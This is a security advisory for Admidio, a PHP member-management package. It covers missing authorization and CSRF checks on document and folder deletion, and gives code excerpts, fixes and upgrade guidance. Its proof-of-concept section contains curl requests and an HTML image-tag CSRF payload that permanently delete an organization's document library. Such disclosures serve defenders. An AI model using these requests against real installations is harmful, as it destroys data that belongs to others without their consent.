GHSA-rmpj-3x5m-9m5f CVE-2026-32817
Admidio is Missing Authorization and CSRF Protection on Document and Folder Deletion
- Severity
- 9.1 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.34%
- Chance of exploitation in the next 30 days. Higher than 26.99% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-862 Missing Authorization
- Fix
5.0.7- Upgrade admidio/admidio to this version or later
Description
Summary
The documents and files module in Admidio does not verify whether the current user has permission to delete folders or files. The folder_delete and file_delete action handlers in modules/documents-files.php only perform a VIEW authorization check (getFolderForDownload / getFileForDownload) before calling delete(), and they never validate a CSRF token. Because the target UUIDs are read from $_GET, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (documents_files_module_enabled = 1) and a folder is marked public (fol_public = true), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read.
Details
Module Access Check
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 72-76
The module only blocks unauthenticated access when the setting is 2 (members-only). When the setting is 1 (public), no login is required to reach any action handler:
if ($gSettingsManager->getInt('documents_files_module_enabled') === 0) {
throw new Exception('SYS_MODULE_DISABLED');
} elseif ($gSettingsManager->getInt('documents_files_module_enabled') === 2 && !$gValidLogin) {
throw new Exception('SYS_NO_RIGHTS');
}
Vulnerable Code Path 1: Folder Deletion
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 122-133
case 'folder_delete':
if ($getFolderUUID === '') {
throw new Exception('SYS_INVALID_PAGE_VIEW');
} else {
$folder = new Folder($gDb);
$folder->getFolderForDownload($getFolderUUID); // VIEW check only
$folder->delete(); // no CSRF token, no upload/admin check
echo json_encode(array('status' => 'success'));
}
break;
The target UUID is read exclusively from $_GET at line 64:
$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', ...);
Vulnerable Code Path 2: File Deletion
File: D:/bugcrowd/admidio/repo/modules/documents-files.php, lines 150-161
case 'file_delete':
if ($getFileUUID === '') {
throw new Exception('SYS_INVALID_PAGE_VIEW');
} else {
$file = new File($gDb);
$file->getFileForDownload($getFileUUID); // VIEW check only
$file->delete(); // no CSRF token, no upload/admin check
echo json_encode(array('status' => 'success'));
}
break;
Same pattern as folder_delete. The file UUID is also read from $_GET (line 69).
getFolderForDownload Grants VIEW Access to Public Folders Without Login
File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 432-438
// If the folder is public (and the file is not locked) => allow
if ($this->getValue('fol_public') && !$this->getValue('fol_locked')) {
return true;
}
This is the correct check for granting VIEW access to public folders. It is not an appropriate gate for a destructive delete operation.
Contrast with Other Write Operations (Properly Protected)
All other write operations in documents-files.php route through DocumentsService, which validates the CSRF token via getFormObject($_POST['adm_csrf_token']) before any mutation (DocumentsService.php lines 278, 332, 386, 448). The delete cases bypass this service entirely and receive no equivalent protection.
Folder::delete() Is Recursive and Permanent
File: D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php, lines 213-259
Folder::delete() recursively removes all sub-folders and files from both the database and the physical filesystem. There is no soft-delete or trash mechanism. A single call to folder_delete on the root folder permanently destroys the entire document library.
UI Shows Delete Buttons Only to Authorized Users (Not Enforced Server-Side)
File: D:/bugcrowd/admidio/repo/src/UI/Presenter/DocumentsPresenter.php, lines 546, 589
The presenter renders delete action links only when the user has upload rights (hasUploadRight()). This client-side restriction is not enforced server-side. Any HTTP client can send the GET request directly.
PoC
Scenario 1: Unauthenticated deletion of a public folder (zero credentials required)
Prerequisites: documents_files_module_enabled = 1, target folder has fol_public = true.
Step 1: Discover folder UUIDs by fetching the public document list (no login needed):
curl "https://TARGET/adm_program/modules/documents-files.php?mode=list"
Step 2: Delete the entire folder tree permanently:
curl "https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<FOLDER_UUID>"
Expected response: {"status":"success"}
The folder, all its sub-folders, and all their files are permanently removed from the database and filesystem. No authentication or token is required.
Scenario 2: Authenticated view-only member deletes any accessible file
Prerequisites: documents_files_module_enabled = 2 (members-only). Attacker has a regular member account with view rights to the target folder but no upload rights.
curl "https://TARGET/adm_program/modules/documents-files.php?mode=file_delete&file_uuid=<FILE_UUID>" \
-H "Cookie: ADMIDIO_SESSION_ID=<view_only_session>"
Expected response: {"status":"success"}
Scenario 3: Cross-site GET CSRF via image tag
Because deletion uses a plain GET request with no token, an attacker can embed the following in any HTML email or web page. When a logged-in Admidio member views the page, their browser fetches the URL with the session cookie attached:
<img src="https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<UUID>" width="1" height="1">
Impact
- Unauthenticated Data Destruction: When the module is in public mode and any folder is marked public, an unauthenticated remote attacker can permanently delete any or all documents and folders. No credentials or tokens are required.
- Privilege Escalation (View to Delete): Any logged-in member with view-only access can delete content they are only permitted to read, bypassing the
hasUploadRight()permission boundary. - Cross-Site CSRF: Because UUIDs appear in page URLs visible to authenticated users, an attacker can embed a GET-based CSRF payload in phishing content to trigger deletion on behalf of any victim.
- No Recovery Path:
Folder::delete()andFile::delete()are permanent operations. The only recovery is from a database and filesystem backup. - Full Organizational Impact: Deletion of the root documents folder recursively removes the entire document library of the organization.
Recommended Fix
Fix 1: Add authorization check and CSRF token validation to both delete handlers
case 'folder_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
if ($getFolderUUID === '') {
throw new Exception('SYS_INVALID_PAGE_VIEW');
}
$folder = new Folder($gDb);
$folder->getFolderForDownload($getFolderUUID);
if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$folder->hasUploadRight()) {
throw new Exception('SYS_NO_RIGHTS');
}
$folder->delete();
echo json_encode(array('status' => 'success'));
break;
case 'file_delete':
SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
if ($getFileUUID === '') {
throw new Exception('SYS_INVALID_PAGE_VIEW');
}
$file = new File($gDb);
$file->getFileForDownload($getFileUUID);
$parentFolder = new Folder($gDb);
$parentFolder->readDataById((int)$file->getValue('fil_fol_id'));
if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$parentFolder->hasUploadRight()) {
throw new Exception('SYS_NO_RIGHTS');
}
$file->delete();
echo json_encode(array('status' => 'success'));
break;
Fix 2: Move folder_uuid and file_uuid to POST parameters for delete operations
Reading the UUID from $_GET enables GET-based CSRF. Moving to $_POST and validating the CSRF token together closes both issues simultaneously.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| admidio/admidio | >= 5.0.0, < 5.0.7 |
5.0.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
admidio/admidio Packagist → 5.0.7
- composer
composer require admidio/admidio:^5.0.7
Severity breakdown
CVSS 3.1 9.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- High
Weakness
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-qc4c-hrmc-4f78 Admidio: Authorization bypass in file_delete enables cross-folder file removal by authenticated users without delete privileges | Medium | Linked by the source |
| GHSA-hm42-q32m-vj4f Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests | Medium | Also affects admidio/admidio |
| GHSA-xw54-c3mx-9pm3 Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024 | Medium | Also affects admidio/admidio |
| GHSA-mch8-wf3h-6x88 Admidio writes session IDs and auto-login cookie values to application logs | Medium | Also affects admidio/admidio |
| GHSA-4rgq-38mh-9xqg Admidio PKCS#12 private key export action lacks CSRF protection | Medium | Also affects admidio/admidio |
| GHSA-x628-457g-2pw9 Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders | High | Also affects admidio/admidio |
| GHSA-q6w3-hpfv-rg36 Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders | Medium | Also affects admidio/admidio |
| GHSA-xg76-5qj2-2hhv Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation | Medium | Also affects admidio/admidio |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor